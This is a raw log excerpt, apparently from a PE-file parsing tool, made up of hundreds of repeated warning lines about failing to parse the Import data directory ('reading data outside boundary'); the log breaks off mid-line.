+time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:52+01:00 